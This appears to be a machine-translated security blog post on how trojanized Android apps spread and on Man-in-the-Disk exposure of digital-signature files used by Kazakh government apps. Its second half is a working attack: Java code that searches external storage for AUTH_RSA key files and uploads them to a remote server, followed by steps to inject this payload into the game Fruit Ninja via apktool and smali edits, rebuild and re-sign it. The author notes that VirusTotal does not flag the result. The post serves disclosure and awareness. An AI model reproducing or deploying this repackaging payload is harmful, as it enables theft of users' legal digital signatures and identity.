哈萨克斯坦移动应用程序mEGOV和UAPF使用数字签名作为授权方法之一。 要以这种方式登录,您需要将文件从数字签名传输到手机。 这种授权方法容易受到“磁盘上的人”攻击(下面将对此进行详细介绍)。 要成为攻击的受害者,您只需要安装您喜欢的任何应用程序,该应用程序就会被攻击者秘密修改。 我将演示如何做到这一点。 首先,找出如何将此类应用程序吸引到用户。
恶意应用程序如何通过电话传播
中国,伊朗等的本地应用市场
例如:cafebazaar.ir,android.myapp.com,apkplz.net
这些网站的出现是由于对Google服务和/或官方应用程序服务器的审查和阻止。 通常,它们包含流行应用程序及其修改的本地类似物。 此类修改(例如此伊朗电报 )包含了新的酷功能。 这样的应用有什么危险? 您永远都不知道他们真正在做什么。 此外,一些政府不会错过机会并发布其修订内容以及用于跟踪用户的工具。 根据定义,政府间谍应用程序是恶意的。 一次,我研究了一个恶意应用程序( Virustotal结果 , 在此处示例,密码:已感染),该应用程序扫描了电话中的电报克隆:
"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"
此列表指示此类应用程序的真实相关性和受欢迎程度。 对这种恶意软件的研究使我撰写了一篇有关伊朗政府通过Cafebazaar市场分发的电报克隆的文章 。 从那里引用:
它看起来是按照伊朗政府的规范开发的,从而使他们能够跟踪应用程序用户提出的每一个字节。
您看到多少个电报克隆?:( 来源 )

普通用户几乎不可能保护自己免受这种侵害,因为别无选择-官方消息来源被严格封锁,而他们自己的身份得到了提升。 来自世界各地的研究人员和防病毒公司在识别出受感染的应用程序之后,立即将其报告给Google,并将其从Play市场中删除,显然,该市场不适用于第三方应用程序市场。 另外,Google关于接纳托管应用程序的政策也不适用于它们。
一些市场非常受欢迎,例如“ 腾讯我的应用程序” ,每月有2.6亿用户( 来源 )

在相同地区/国家/地区使用的本地应用程序通常使用相同的SDK(库集)进行广告跟踪和社交整合。 网络等。...如果在多个应用程序中使用同一库,则很有可能将这些应用程序中的某些安装在一个用户上。 此类库可以使用内置的不同应用程序的功能来绕过授予的权限来窃取用户数据。 例如,一个应用程序有权接收IMEI,但无权访问Internet。 内置库对此有所了解,因此会读取IMEI并将其保存在SD卡中的隐藏文件夹中。 相同的库内置于另一个具有Internet访问权限但无法访问IMEI的应用程序中,该应用程序从隐藏文件夹中读取它并将其发送到其服务器。 两家中国公司百度和Salmonads使用了这种方法。 您可以在此处了解更多信息。
网络钓鱼
经典的网络钓鱼是国际组织和不同国家的特殊服务的主要工具。 经常发生的情况是,使用常规的Messenger应用程序,将跟踪功能添加到该应用程序中,然后大规模分发,并带有注释“看,通信的应用程序多么酷”。 交付给用户可以通过社交进行。 网络,垃圾邮件Whatsapp /电报,网站上的内置广告等。

资料来源,第19页。
网络钓鱼链接,以Facebook上的帖子形式:

资料来源,第22页
在一个著名站点上弹出

来源
电报漫游器/组
示例:@ apkdl_bot,t.me / fun_android
有电报机器人下载apk文件。 他们可能会将恶意软件带入您的手中,而不是合法的应用程序。 或即时感染您所请求的应用程序。 它的工作方式是-输入要下载“ Instagram”的bot / group命令,另一边的脚本从Google Play下载,解压缩,添加恶意代码,将其打包并返回给您。 如何自动完成此操作,我将尝试在不久的将来显示一个示例。
第三方调解网站
例如:apkpure.com,apkmirror.com,apps.evozi.com / apk-downloader /
有大量用于下载android应用程序的非官方网站。 其中一些提供了下载应用程序的能力,这可能是恶意的。 在此站点上下载示例:

一个以这种方式传播的恶意软件的示例( 来源 ):

非官方来源的示例统计信息可以在《 2018年Android安全报告》中找到-16亿个阻止的Google Play保护安装(不是来自Google Play)。 还有更多的安装。
一些人甚至写了关于使用第三方市场有多好的文章 。
一个独立的世界由以下站点组成:这些站点分发没有广告的应用程序,免费黑客入侵的付费应用程序以及具有其他功能的应用程序:


谷歌播放
官方消息来源提供了针对名为Google Play Protect的可疑应用程序的防护,该应用程序使用机器学习来确定恶意软件的程度。 但是,这种保护不能准确地了解哪个应用程序是恶意的,哪个不是,因为这需要全面的手动检查。 监视您所有动作的间谍应用程序与正在运行的应用程序有什么区别? 研究人员不断在Google Play上找到 数百种 受感染的 应用程序 。
通常,恶意应用程序会自称Google Play服务或类似的方式,并放置类似的图标 。 这会误导用户。 为什么Google Play不检查图标与官方应用程序的相似性尚不清楚。 收到电报后,我用一架纸飞机放了一个化身,他们阻止了我。 恶意应用程序使用的另一种方法是将字母(用“ I”替换“ L”,用“ q”替换“ g”)以创建类似于官方应用程序的名称:

来源
其他方式
手机维修服务
越过边界时
通过启用调试功能,通过USB连接到不熟悉的计算机。
攻击者可以访问您的Google帐户,并通过Google Play在手机上安装该应用程序。
预装的应用程序
依法院命令而无。 由警察或特殊服务
水坑攻击
您来拜访一位朋友,他的电视感染了您的手机
出现在Fire TV设备上的特定版本将其自身安装为名为“ Test”的应用程序,包名称为“ com.google.time.timer”。 一旦感染了Android设备,它便开始使用该设备的资源来挖掘加密货币,并尝试将自身传播到同一网络上的其他Android设备。
攻击者如何感染android应用程序
现在,我们了解了恶意应用程序如何在您的手机上传播。 接下来,将演示攻击者如何修改任何android应用程序。 流行游戏Fruit Ninja中的代码实现将使用一个示例。 该代码扫描手机的内存,使用EDS搜索文件并将其发送到服务器(自然不需要root)。
什么是磁盘人?
在本文之后,公众提请注意这种攻击媒介。 我建议您先阅读它。
对于那些阅读过的人,我将自己补充一句-修改其他应用程序的共享文件也可能导致利用这些文件的库中的漏洞被利用
谁没看过,我会简单介绍一下。 首先,让我们定义概念。 在android中,应用程序的内存分为内部存储和外部存储。 内部存储是应用程序的内部存储器,只有他自己可以访问,其他任何人都不能访问。 绝对电话上的每个应用程序都对应一个单独的用户和一个单独的文件夹,该文件夹仅对此用户具有权限。 这是一个很好的防御机制。 外部存储器-手机的主存储器,所有应用程序都可以访问(还包括SD卡)。 为什么需要它? 拿一个照片编辑器应用程序。 编辑后,必须保存照片,以便可以从图库中访问它。 自然,如果将其放在内部存储中,则除了您的应用程序之外,其他任何人都无法使用它。 或将所有文件下载到“下载”共享文件夹的浏览器。
每个android应用程序都有其自己请求的权限集。 但这对他们不好。 其中有一些人们愿意闭上眼睛而不认真对待的人。 其中包括READ_EXTERNAL_STORAGE。 它允许应用程序访问手机的主存储器,从而访问其他应用程序的所有数据。 毕竟,如果笔记本应用程序请求此许可,没有人会感到惊讶。 他可能需要将设置存储并在那里缓存。 磁盘中的Man-In-The-Disk攻击是处理来自外部存储中其他应用程序的数据。 另一个几乎默认的分辨率是INTERNET。 顾名思义,它允许应用程序访问网络。 最可悲的是,没有为用户显示一个特殊的窗口,要求他授予此权限。 您只需将其编写在应用程序中,他们就会将其交给您。
我下载了前15个哈萨克斯坦应用程序,并编写了一个脚本来显示请求的权限的统计信息。 如您所见,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE和INTERNET非常受欢迎。 这意味着,在大多数应用程序中,攻击者可以更轻松地嵌入窃取数字签名的代码。
经过测试的应用程序列表
2-GIS,AliExpress,Chocofood,Chrome,InDriver,Instagram,Kaspi,Kolesa,Krisha,Telegram,VK,WhatsApp,Yandex Music,Yandex Taxi
,Zakon KZ

如果将whatsapp放在有根电话上,则所有通信内容均以明文形式存储。 显然,whatsapp甚至认为没有必要在这种“损坏的”电话上使用加密。 同样,在外部存储中,whatsapp存储SSLSessionCache(已建立的SSL会话的基于文件的缓存)。 将来,我将尝试探索如何使用从他人的电话接收到的这些文件。
电报和Instagram将缓存的图像存储在共享内存中。 您查看的几乎所有照片以及彼此发送的照片都可用于手机上的任何应用程序。

MEGOV和ENPF应用程序要求数字签名位于外部存储中:


Google已意识到此问题,并将在Android Q中更改 READ_EXTERNAL_STORAGE。Quote:
为了访问其他应用程序创建的任何其他文件,包括“下载”目录中的文件,您的应用程序必须使用存储访问框架,该框架允许用户选择特定文件。
创建有效载荷
让我们继续主要的扫描仪功能。 它将由三个主要类组成: StageAttack
, MaliciousService
, MaliciousTaskManager
。

StageAttack
由启动我们的攻击的一种静态方法组成。 为了方便在完成的类中实现,我们专门创建了一个过渡静态方法。
public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } }
MaliciousService
是一种递归搜索所有外部存储的服务。
private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; }
如果未找到EDS,我们将每5秒钟重复一次搜索,直到找到为止。 您可以使用任何间隔。 如果间隔太短,我们的服务就有被系统停止的风险。 android的版本越高,有关后台进程操作的策略就越严格。 我们也不能使用前台服务,因为为此,通知必须不断挂起。 我不是一名Android开发人员,而是花了很多时间来寻找一种计划任务的方法,该任务将按时完成。 它并不像看起来那么简单。 android中为此推荐了几种方法(JobService,WorkManager,setRepeating()AlarmManager)。 该文档没有明确指出任务的间隔至少应为15分钟,其执行时间取决于系统的需求。 这不适合我们,因此我们使用AlarmManager
类的setExactAndAllowWhileIdle()
方法。 任务完成后,我们将以相同的间隔重新计划它。 这是我目前所知的唯一具有最高准确性的方法。
private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }
如果找到了EDS,则我们将文件发送到服务器:
private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); }
介绍有效载荷
首先,我们使用apktool反编译Fruit Ninja。 我们不会在Java代码之前反编译应用程序,因为修改后,我们将无法将其重新组装。 我们需要获得完全的英语课程。 我们还将以smali代码的形式实现我们的代码。
什么是smali代码?
Android应用程序被编译为字节码,由Dalvik虚拟机执行。 字节码本身很难读取,因此其人类可读的形式称为smali。 smali是汇编语言的类似物,但适用于android。
此外,如果我们希望有效负载在应用程序启动时启动,则必须修改入口点。 任何应用程序GUI的入口点都是采用ACTION_MAIN的Activity子类。 使用反编译的应用程序打开文件夹,然后在AndroidManifest.xml文件中找到它:
<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity>
我们找到了com.halfbrick.mortar.MortarGameLauncherActivity
的com.halfbrick.mortar.MortarGameLauncherActivity
类。 在学习它之前,让我们看一下Activity的生命周期,这对我们很有用。

来源
对于我来说,开放式活动位于路径\ smali_classes2 \ com \ halfbrick \ gr钵\ MortarGameLauncherActivity.smali的路径上 。 如果您以前从未看过smali代码,那么这并不可怕,它很容易阅读并且逻辑清晰。
.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
我们发现MortarGameLauncherActivity
启动MortarGameActivity
并关闭。 打开MortarGameActivity
。 我们不会对此发表评论。 我们对Oncreate
方法中发生的事情很感兴趣,因为它开始创建活动。 在此之后,我们将立即插入代码。 重要的是不要在粘贴时打乱行。
.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <---------------------------
现在我们需要smali有效负载代码。 我们将扫描仪收集为apk并进行反编译。 我们将三个反编译的类(沿着smali \ kz \ c \ signscan路径) 转移到com / halfbrick / gr钵文件夹中。 将软件包名称更改为所有类,从kz.c.signscan到com.halfbrick.mortar 。
那是:
.class public Lkz/c/signscan/StageAttack;
它变成了:
.class public Lcom/halfbrick/mortar/StageAttack;
在smali MainActivity类中, MainActivity
采用有效负载调用行:
invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V
并插入MortarGameActivity
。 结果, onCreate()
方法看起来像:
... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...
有效负载中的MaliciousTaskManager
类是BroadcastReceiver,而MaliciousService
是IntentService,因此我们需要将它们写在清单中。
... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ...
我们apktool b myfolder
将所有内容打包。 结果,我们得到了apk文件。 现在我们需要对其进行签名,以便android接受我们的应用程序。 首先,我们将生成一个用于签名的密钥:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
我们签署apk:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Virustotal不会向我们显示任何内容,因为我们没有做任何“非法”的事情。 - .

, :